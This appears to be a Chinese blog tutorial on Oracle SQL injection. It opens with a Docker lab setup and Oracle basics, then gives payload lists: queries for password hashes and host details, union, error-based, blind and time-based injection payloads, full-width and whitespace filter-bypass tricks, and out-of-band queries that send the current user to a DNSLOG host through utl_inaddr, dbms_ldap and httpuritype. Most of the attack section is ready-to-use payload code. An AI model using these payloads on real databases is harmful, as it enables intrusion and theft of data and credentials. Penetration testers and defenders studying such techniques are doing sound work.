Oracle SQL注入

环境搭建

是在docker上面pull的oracle 11g的镜像

1
docker run -d -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true wnameless/oracle-xe-11g-r2

oracle结构

tablespace

在oracle数据库中表空间是一个逻辑概念,一个数据库可以对应多个表空间,而一个表空间又可以对应多个数据文件:

202207251449368

在创建数据库时oracle默认创建5个表空间:

  • SYSTEM:用于存储系统表和管理配置等基本信息
  • SYSAUX:是SYSTEM表空间的辅助表空间
  • UNDOTBS:用于事务回退等
  • TEMP:作为缓存空间减少内存负担
  • USERS:就是存储我们定义的表和数据

新建表空间:

1
create tablespace EASTJUN datafile 'eastjun.dbf' size 50M autoextend on

schema

schema是特定用户拥有的所有对象的集合,在oracle数据库中schema名与user名相同。 例如访问scott用户下的emp表,schema名也为scott,select * from emp这条sql语句的完整写法应为select * from scott.emp。通过schema进行隔离,两个用户可以在同一个表空间中创建两个同名的表。

oracle系统表

  • dba_tables:系统里所有的表的信息,需要DBA权限才能查询
  • all_tables:当前用户有权限的表的信息
  • user_tables:当前用户名下的表的信息
  • DBA_ALL_TABLES:DBA用户所拥有的或有访问权限的对象和表
  • ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
  • USER_ALL_TABLES:某一用户所拥有的对象和表

user_tables 的范围最小,all_tables 看到的东西稍多一些,而 dba_tables 的信息最全:

  • dba_tables >= all_tables >= user_tables
  • dba_tab_columns >= all_tab_columns >= user_tab_columns

权限

角色

  • DBA:系统最高权限
  • RESOURCE:基本的增删改查
  • CONNECT:连接数据库的权限

用户

创建数据库时默认有sys、system等用户

  • sys:相当于 Linux 下的 root 用户。为 DBA 角色
  • system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
  • public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)

新建用户:

1
2
3
4
create user eastjun
identified by eastjun
default tablespace EASTJUN --默认表空间
temporary tablespace TEMP --临时表空间

新建的这个用户是没有登录权限的,对于普通用户,需要授权RESOURCECONNECT的角色给用户:

1
grant connect,resource to eastjun

信息搜集

版本信息

1
2
3
4
select banner from v$version where banner like '%Oracle%'--数据库版本
select banner from v$version where banner like '%TNS%'--操作系统版本
select banner from sys.v_$version
select version from v$instance

用户信息

1
2
3
4
5
select user from dual
select sys_context ('userenv', 'current_user') from dual
select username from user_users
select username from all_users
select name from sys.user$ --priv

数据库文件位置

1
2
select name from v$datafile --priv
select file_name,tablespace_name from dba_data_files --priv

查询密码hash值

1
select name,spare4 from sys.user$ --priv

查询主机IP

1
2
3
4
select utl_inaddr.get_host_name from dual
select host_name from v$instance
select utl_inaddr.get_host_address from dual--获取IP
select utl_inaddr.get_host_name('127.0.0.1') from dual--获取主机名

当前用户权限

1
select * from session_privs

查询数据

查询表空间

1
2
3
4
select tablespace_name from user_tablespaces
select name from v$tablespace --priv
select tablespace_name from dba_data_files --priv
select tablespace_name from sys.dba_tablespaces --priv

查询表名

1
2
3
select table_name from user_tables
select distinct table_name from user_tab_columns
select table_name,owner from dba_tables where tablespace_name='EASTJUN' --priv

查询字段名

1
select column_name,data_type from user_tab_columns where table_name='USERS'

查询数据

oracle数据库中没有limit,如果需要查询不同行的信息,需要使用rownum:

1
select * from users where rownum = 1

但是如果需要查询第二行的信息,使用rownum = 2是查不到的,需要用这种写法:

1
select * from (select id,username,password,rownum no from users) where no = 2

oracle注入

联合查询

oracle数据库在使用union语句时也需要数据类型一致,所以通常测试联合查询注入时会先用null占位,然后逐个替换为合适的类型,然后还要注意后面需要加上dual

1
2
select * from users where 1=0 union select null,null,null from dual
select * from users where 1=0 union select 1,'name','pass' from dual

报错注入

报错注入有下面这些函数可以用:

1
2
3
4
5
6
7
8
select ctxsys.drithsx.sn(1, user) from dual
select ctxsys.ctx_report.token_type(user, 1) from dual
select dbms_xdb_version.checkin(user) from dual
select dbms_xdb_version.makeversioned(user) from dual
select dbms_xdb_version.uncheckout(user) from dual
select dbms_utility.sqlid_to_sqlhash(user) from dual 
select utl_inaddr.get_host_name(user) from dual --需要网络权限
select utl_inaddr.get_host_address(user) from dual --需要网络权限

盲注

同样以字符串截取和比较两个问题来学习oracle中的盲注 字符串截取函数:

1
2
3
select substr(user,1,1) from dual
select reverse(lpad(user,1,1)) from dual
select ltrim(user,'S') from dual

字符串比较:

1
2
3
4
5
ascii(user)>68
ascii('E')<>69
nullif(ascii('E'),69) is null
ascii('E') between 69 and 69
ascii('E') in (69)

正则表达式

1
2
3
4
regexp_instr(user, '^S')=1
regexp_like(user,'^S')
regexp_count(user,'^S')=1
user like 'S%'

报错盲注

报错盲注不同于报错注入,是利用语句是否报错构造true和false:

1
2
select case ascii(user) when 69 then 1 else ln(0) end case from dual
select decode(ascii(user),69,1,1/0) from dual

然后可以利用整数溢出、数据类型转化、1/0√-1ln(-1)等方式触发报错:

1
2
3
4
5
select ln(0) from dual
select exp(999) from dual
select 1/0 from dual
select sqrt(-1) from dual
select to_number('a') from dual

时间盲注

查询大量数据造成延时:

1
2
select count(*) from all_objects
select count(owner) from (select distinct(owner) from all_tab_columns)

通过函数延时:

1
select dbms_pipe.receive_message('a',5) from dual

bypass小技巧

在oracle数据库中支持全角符号,也就是说当我写了这样一段sql语句,在oracle中依然能正常执行:

1
select 11chr69)||chr65 from dual where 21 or 2!=1

这些全角符号可以在unicode-compart上面找到。不过引号、注释符、分号这些符号并不支持全角

对于空格符号,oracle数据库除了%00,%09,%0A,%0B,%0C,%0D这些字符能替换以外,还支持\u3000这个符号

OOB

使用DNSLOG外带数据,可以配合rawtohex()函数进行一次hex编码

1
2
3
select utl_inaddr.get_host_address(rawtohex(user)||'.dnslog') from dual
select dbms_ldap.init(rawtohex(user)||'.dnslog',80) from dual
select httpuritype(rawtohex(user)||'.dnslog').getclob() from dual

Referer

Oracle 注入指北 Oracle SQL注入学习 关于学习Oracle注入

updatedupdated2023-05-202023-05-20